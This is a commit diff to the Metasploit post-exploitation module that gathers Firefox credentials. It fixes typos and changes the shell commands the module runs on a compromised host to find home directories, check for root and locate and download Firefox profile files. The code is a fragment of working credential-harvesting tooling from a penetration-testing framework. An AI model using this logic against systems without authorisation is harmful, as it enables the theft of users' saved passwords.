Land rapid7#8019, fix issues from rapid7#7817 with post/multi/gather/firefox_creds

Author: Brent Cook

modules/post/multi/gather/firefox_creds.rb

@@ -146,7 +146,7 @@ def do_decrypt
       omnija = read_file(@paths['ff'] + org_file)
       if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
         print_error("Could not download: #{@paths['ff'] + org_file}")
-        print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
+        print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter"
         return
       end
 
@@ -249,8 +249,8 @@ def enum_users
 
       if got_root
         vprint_status("Detected ROOT privileges. Searching every account on the target system.")
-        userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n")
-        userdirs << "/root\n"
+        userdirs = "/root\n"
+        userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
       else
         vprint_status("Checking #{id}'s Firefox account")
         userdirs = "#{home + id}\n"
@@ -260,16 +260,16 @@ def enum_users
         dir.chomp!
         next if dir == "." or dir == ".." or dir =~ /No such file/i
 
-        @platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/")
+        @platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox")
 
         print_status("Checking for Firefox profile in: #{basepath}")
-        checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n")
+        checkpath = cmd_exec("find " + basepath.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
 
         checkpath.each_line do |ffpath|
           ffpath.chomp!
-          if ffpath =~ /\.default/
-            vprint_good("Found profile: #{basepath + ffpath}")
-            paths << "#{basepath + ffpath}"
+          if ffpath =~ /\.default$/
+            vprint_good("Found profile: #{ffpath}")
+            paths << "#{ffpath}"
           end
         end
       end
@@ -332,7 +332,7 @@ def download_loot(paths)
       profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s
       profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty?
 
-      session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split())
+      session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("find "+ path.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type f 2>/dev/null").gsub(/.*\//, "").split("\n"))
 
       files.each do |file|
         file.chomp!
@@ -551,12 +551,18 @@ def decrypt_trigger_decrypt(org_file, new_file, temp_file)
     when :unix
       # Assuming userdir /home/(x) = user
       print_status("Enumerating users")
-      users = cmd_exec("ls /home 2>/dev/null")
-      if users.nil? or users.empty?
+      homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "")
+      if homedirs.nil? or homedirs.empty?
         print_error("No normal user found")
         return false
       end
-      user = users.split[0]
+      user = nil
+      # Skip home directories which contain a space, as those are likely not usernames...
+      homedirs.each_line do |homedir|
+        user = homedir.chomp
+        break unless user.index(" ")
+      end
+
       # Since we can't access the display environment variable we have to assume the default value
       args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
       args << "\""
@@ -719,6 +725,10 @@ def got_root
       session.sys.config.getuid =~ /SYSTEM/ ? true : false
     else   # unix, bsd, linux, osx
       id_output = cmd_exec("id").chomp
+      if id_output.blank?
+        # try an absolute path
+        id_output = cmd_exec("/usr/bin/id").chomp
+      end
       id_output.include?("uid=0(") ? true : false
     end
   end